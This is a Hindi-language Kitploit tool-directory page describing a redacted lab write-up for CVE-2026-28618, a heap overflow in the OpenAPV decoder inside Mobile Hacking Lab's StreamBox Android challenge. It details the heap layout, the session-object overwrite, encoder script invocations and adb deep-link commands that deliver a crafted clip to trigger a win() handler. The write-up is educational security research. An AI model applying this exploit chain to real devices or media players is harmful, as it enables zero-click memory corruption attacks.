Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
streambox-cve-2026-28618 — CVE-2026-28618 / StreamBox APV लैब पर संपादित (Redacted) नोट्स — FRAME ऊँचाई बेमेल के माध्यम से सत्र ऑब्जेक्ट में हीप राइट | Kitploit
उपकरण/GitHubGitHub/raafatabualazm/streambox-cve-2026-28618
एंड्रॉइड सुरक्षामेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगमोबाइल सुरक्षापेपर और शोधलर्निंग और शिक्षाबाइनरी शोषण

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHubraafatabualazm/streambox-cve-2026-28618

streambox-cve-2026-28618

CVE-2026-28618 / StreamBox APV लैब पर संपादित (Redacted) नोट्स — FRAME ऊँचाई बेमेल के माध्यम से सत्र ऑब्जेक्ट में हीप राइट

रिपॉजिटरी देखें
1411 महीना पहलेअभी तक समीक्षित नहीं

ज़ीरो-क्लिक APV, एक ऐसे प्लेयर में जो साझा किए गए क्लिप्स को ऑटो-प्ले करता है

StreamBox में CVE-2026-28618 — वही OpenAPV डिकोडर क्लास जो CVE-2026-0006 में थी, जिसे एक सत्र ऑब्जेक्ट के विरुद्ध हीप राइट में बदल दिया गया है।

यह रेपो एक सार्वजनिक, संपादित (redacted) राइटअप है: फ़्लैग, इंस्टेंस टोकन और HMAC कुंजी शामिल नहीं हैं। APK और make_clip.py Mobile Hacking Lab के हैं; इन्हें यहाँ मिरर नहीं किया गया है।

आक्रमण श्रृंखला

हमने क्या हल किया

StreamBox एक छोटा APV प्लेयर है। APV का अर्थ है Advanced Professional Video (RFC 9924), सैमसंग का रॉयल्टी-मुक्त कोडेक, वही परिवार जो Android के मीडिया स्टैक में शामिल था। लैब का परिचय एक वाक्य में है: प्लेयर साझा किए गए क्लिप्स को आते ही चला देता है।

SEND, VIEW, या streambox://play?url=… किसी फ़ाइल को files/incoming.apv में कॉपी करता है और NativeDec.loadClip() चलता है।

बग है CVE-2026-28618: OpenAPV के dec_frm_prepare में हीप बफ़र ओवरफ़्लो। वही डिकोडर क्लास जो CVE-2026-0006 में थी।

लैब उस राइट को एक गेम के रूप में पैकेज करती है। हार्डकोडेड 64×64 Y प्लेन को ओवरफ़्लो करें, सटे हुए सत्र ऑब्जेक्ट को तोड़ें, टियरडाउन को handlers[2] में मोड़ें, और Worker फ़्लैग लौटा देता है।

किट लैब से दो ज़िप हैं:

  • streambox-lab.apk.zip — प्लेयर
  • make_clip.py.zip — 64×64 लाइब्रेरी क्लिप्स कैसे बनाए गए, और वह बिटस्ट्रीम जिसे आप ओवरफ़्लो करते हैं

प्लेयर (Android 14 x86_64 AVD + ndk_translation)

Android Studio का ARM64 सिस्टम-इमेज QEMU x86-64 होस्ट पर ठीक से काम नहीं करता। यह APK arm64-v8a / minSdk 34 है। libndk_translation.so (abilist=x86_64,arm64-v8a) वाला एक x86_64 API 34 AVD इसे इंस्टॉल और चलाता है।

AVD पर StreamBox लाइब्रेरी

Sunset Drive चल रहा है, 64×64, loadClip → 0

PlayerActivity यह करता है:

NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path);   // win() runs here if handler==2
// WebView later: Android.openTier(status) → PremiumActivity

loadClip 1 (प्रीमियम / सत्र स्मैश) या 2 (win() पहले ही चल चुका है) लौटाता है। openTier केवल UI को नेविगेट करता है।

POST /api/unlock
{
  "instance_id": <from POST /api/instance>,
  "tier": 3,
  "session_hex": hex(sessionProof[64]),
  "ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}

बूट पर ऐप पहले ही POST /api/instance और NativeDec.setPlatinumToken(token) कर चुका था। वही टोकन है जिसे ओवरफ़्लो को सत्र में लिखना है।

हीप: 64×64 Y, फिर सत्र

0x2000 बाइट्स का Y प्लेन, उसके तुरंत बाद सत्र ऑब्जेक्ट, अतिरिक्त FRAME पंक्तियाँ magic/token/handler में ओवरफ़्लो होती हैं

arena   = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F;  /* bytes: "OBMAERTS" */

oapv_imgb_t हार्डकोडेड 64×64, 10-बिट YUV है। प्लेन 0 (Y) arena+0 से शुरू होता है। 64 × 64 × 2 = 0x2000। सत्र arena + 0x2000 + pad है। pad या तो SB_SESS_PAD है या srand(getpid()^time()) के बाद rand() का 0x400-संरेखित निबल है। AVD पर, Sunset Drive ने session-arena = 0x3800 (pad = 0x1800) लॉग किया। अतिरिक्त 64×128 टाइल 0x2000 बाइट्स है, इसलिए यह उन pad मानों के लिए भी सत्र तक पहुँचती है।

oapvd_decode() FRAME PBU चौड़ाई/ऊँचाई पर लिखता है। 64 से अधिक ऊँचाई वाला FRAME सीधे session में 10-बिट नमूने लिखता है।

डिकोड के बाद:

if (session->token == g_token) {        /* +0x08 */
    if (session->handler <= 2)          /* +0x0c */
        g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
    g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

sessionProof लेआउट: smash magic, match token, handler index 2

make_clip.py क्लिप पथ है

लैब का जनरेटर 64×64 RGB के 32 फ़्रेम बनाता है, उन्हें yuv422p10le में परिवर्तित करता है, और OpenAPV संदर्भ एनकोडर को कॉल करता है:

oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1

प्रत्येक बंडल क्लिप FRAME 64×64 की 32 एक्सेस यूनिट्स है:

[u32be au_size] ['aPv1' + PBUs] × 32

प्लेयर 64×64 आवंटित करता है। APV टाइल्स 64×64 होती हैं।

qemu-user (qemu-aarch64 + Android 10 linker64) और AVD सहमत हैं:

क्लिपqemu-user streambox_loadAVD loadClip
64×64 लाइब्रेरी क्लिप00 (premium_hit=0)
हेडर ऊँचाई 64→72SIGABRT oapvd_vlc_ac_coefSIGABRT, वही assert, प्रोसेस मर जाती है (क्रैश के बाद होम)
वास्तविक 64×128 एन्कोड (दो टाइल्स, QP 0)11 premium_hit=1 → SESSION ANOMALY
python3 encode_overflow.py -o overflow_64x128.apv --qp 0
adb reverse tcp:8765 tcp:8765
# python3 -m http.server 8765
adb shell am start -a android.intent.action.VIEW \
  -d 'streambox://play?url=http://127.0.0.1:8765/overflow_64x128.apv' \
  -n com.mobilehackinglab.streambox/.MainActivity

64×128 साझा क्लिप: SESSION ANOMALY (overflow सत्र तक पहुँच गया, token बेमेल)

एक दूसरा encode, encoder recon के विरुद्ध closed-loop, live access token और handler 2 को स्थापित करता है (input Y≈4 पुनर्निर्माण में 2 हो जाता है)। उस 16-बाइट prefix को 64×128 Y plane में दोहराएँ ताकि pad से कोई फर्क न पड़े।

# token from the home footer: "access token 0x...."
python3 encode_targeted.py --token 0xTOKEN --handler 2 -o win.apv
python3 -m http.server 8765
adb reverse tcp:8765 tcp:8765
adb shell am start -a android.intent.action.VIEW \
  -d 'streambox://play?url=http://127.0.0.1:8765/win.apv' \
  -n com.mobilehackinglab.streambox/.MainActivity

AVD पर:

gadget executed: handlers[2]() -> win()
loadClip(...) -> 2 (premium_hit=0 platinum_hit=1)
openTier(2)

SESSION COMPROMISED — flag redacted; Worker released it from the smashed sessionProof

win() loadClip के अंदर चला। openTier(2) ने केवल PremiumActivity खोला, जिसने वह proof POST किया।

qemu-user के लिए सेटअप (Android Studio के ARM64 emulator के लिए नहीं): encode_overflow.py में टिप्पणियाँ और लैब qemu-harness/README.md देखें।

मूल बग वर्ग के लिए संबंधित सार्वजनिक PoC: mobilehackinglab/CVE-2026-0006-openapv-poc।

write को सिद्ध करें

Python urllib को Cloudflare 1010 मिलता है। मोबाइल UA के साथ curl काम करता है।

Worker मूल magic को no overflow evidence: session magic intact के साथ अस्वीकार करता है। ASCII STREAMBO (LE uint64 से भिन्न बाइट्स) को write के रूप में गिना जाता है।

Redacted unlock: POST /api/instance then POST /api/unlock returning MHL{REDACTED}

टूल डाउनलोड करें